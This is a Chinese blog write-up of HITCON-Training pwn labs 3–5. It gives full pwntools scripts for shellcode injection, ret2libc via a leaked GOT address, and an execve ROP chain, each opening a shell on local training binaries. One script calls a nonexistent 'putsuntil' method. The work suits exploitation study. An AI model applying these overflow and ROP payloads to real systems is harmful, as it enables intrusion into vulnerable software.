HITCON-Training-master Writeup

0x01.lab3

首先checksec一下,发现连NX保护都没开,结合题目提示ret2sc,确定可以使用shellcode得到权限。

1

IDA查看伪代码

2

大致分析:

将shellcode写入name数组,v4溢出之后定向至name所在地址从而运行shellcode。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import *

elf = ELF('./ret2sc')
io = process('./ret2sc')

io.recvuntil(':')
payload1 = asm(shellcraft.sh())
io.sendline(payload1)

io.recvuntil(':')
name_addr = 0x0804A060
payload2 = flat(['a' * 0x1C + 'f**k' , name_addr])
io.sendline(payload2)

io.interactive()

0x02. lab4

大致分析:

首先checksec一下,发现开了NX保护,但是没开栈保护,于是栈溢出。 1

IDA查看伪代码

2

一开始认为这是再也普通不过的代码…后来才知道大有玄机。

第一:see_something这个函数可以将你输入的地址找到其在运行中的真实地址,这很重要。

第二:像read,puts这样简单的函数可以被用来寻找“偏移量“。

解题思路:

首先获取libc库的版本,在M4x学长的指导下了解到ldd这个命令。

得到libc版本及所在位置:libc.so.6 & /lib/i386-linux-gnu/libc.so.63

然后就是得到偏移量,计算出system函数和“/bin/sh”字符串的真实地址,获取shell。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import *

io = process('./ret2lib')
elf = ELF('./ret2lib')

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next()

puts_got = elf.got['puts']
io.recvuntil(':')
io.sendline(str(puts_got))
io.recvuntil('0x')
puts_addr = int(io.putsuntil('\n'),16)
#print puts_addr

offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh_addr = binsh_libc + offset

io.recvuntil(':')
payload = flat([ 'a'*60 , system_addr , 0xdeadbeef , binsh_addr ])
io.sendline(payload)

io.interactive()
io.close()

0x03. lab5

这题开的保护和上题一样,不过思路相差甚多。由于我也只用了一种方法,在这里就记录一下。

小知识:

寄存器中有eax,ebx,ecx,edx等。

Linux下的系统调用通过int 80h实现,用系统调用号来区分入口函数,其中寄存器eax存放调用号,剩下的几个参数存放参数。

解题思路:

有了前面的知识的了解,可以大致知道解题过程。

我们需要调用的是system函数,其调用号为0xb,于是eax里存放的就是0xb;

接下来应该有三个参数,其中ebx = “/bin/sh”, ecx = 0, edx = 0。但是有一个问题,32位寄存器只能存放4个字节大小的数据,而“/bin/sh”有7个字节。这里我们可以把“/bin/sh”存进.data段,ebx存放.data段的地址,从而达到目的。

代码如下:

# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import *

io = process('./simplerop')

eax_ret = 0x080bae06
edx_ret = 0x0806e82a
edx_ecx_ebx_ret = 0x0806e850
data_addr = 0x080EA060
gadget_ret = 0x0809a15d # mov dword ptr [edx], eax ; ret
int_0x80_addr = 0x080493e1

# 写入data段

# 第一句首先将read溢出至return,然后将对data_addr赋给edx,将“/bin”字符串赋给eax;
# 接着用gadget将eax的值赋给edx的值(即data_addr)的内容。
payload = flat(['a'*32, edx_ret, data_addr, eax_ret, "/bin",gadget_ret])
# 第二句作用类似。
payload += flat([edx_ret, data_addr+4, eax_ret, "/sh\x00", gadget_ret])

# 调用系统execve
# 这里执行之后的结果是:eax = 0xb, ebx = data_addr, ecx = 0, edx = 0
payload += flat([edx_ecx_ebx_ret, 0, 0, data_addr, eax_ret, 0xb, int_0x80_addr])

io.recvuntil(":")
io.sendline(payload)
io.interactive()

0x04. 写在最后

这里主要想记录下如何寻找刚好能覆盖到return_addr的字节数,我用的是gdb-peda提供的pattern_create和pattern_offset。

以lab4为例:

首先在lab4目录下执行

root@libo:~/Desktop/HITCON-Training-master/LAB/lab4# gdb ret2lib
gdb-peda$ pattern_create 200
gdb-peda$ r

第一个输入点不是我们需要的,所以这里我输入的是main函数的地址134514045(十进制)。

第二个输入点输入之前pattern_create的字符串使其溢出,然后执行pattern_offset得到覆盖到return的字节数。

4

作者: LB919

出处:http://www.cnblogs.com/L1B0/

如有转载,荣幸之至!请随手标明出处;

版权声明:本文为L1B0原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:http://www.cnblogs.com/L1B0/p/8022553.html